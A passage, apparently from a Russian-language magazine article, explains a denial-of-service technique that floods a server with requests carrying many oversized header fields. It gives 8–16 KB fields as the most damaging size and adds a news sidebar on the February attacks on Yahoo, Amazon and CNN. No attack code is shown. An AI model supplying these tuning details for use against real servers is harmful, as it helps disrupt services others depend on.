Приведенный пример, посылает на сервер-жертву запрос, в заголовке которого присутствуют $N полей длиной в $size байт каждое. Конкретные значения $N и $size зависят от пропускной возможности канала атакующего, типа сервера и множества других условий. Экспериментально было установлено, что наибольшую нагрузку вызывают пакеты с длиной полей заголовков от восьми до шестнадцати килобайт.

Врезка «информация»

Девятого Февраля Торговый Департамент США убеждал On-line компании и агентства в своей непричастности к хаосу, пошатнувшего мирное течение жизни Всемирной Паутины (предполагалось, что именно их компьютеры были использованы для атаки).

«Там и правда неважно обстояло с защитой» заметил Вильям Делай на пресс-конференции в Чикаго, кивая в сторону «Yahoo», первую жертву хакерской атаки, случившийся днем раньше. Следом были атакованы http://Amazon.com, http://Buy.com, http://CNN.com и несколько других сайтов, не упомянутых здесь по причине их малой известности российским интернетчикам.

ФБР невнятно отозвалось насчет перспективы поимки и наказания злоумышленника (который все же позже был пойман не без участия российского ФСБ). Зато активно пропагандировало превентивные меры защиты, то есть «латание дыр» в системах безопасности серверных приложений, в чем ФБР обещало ак

Наши рекомендации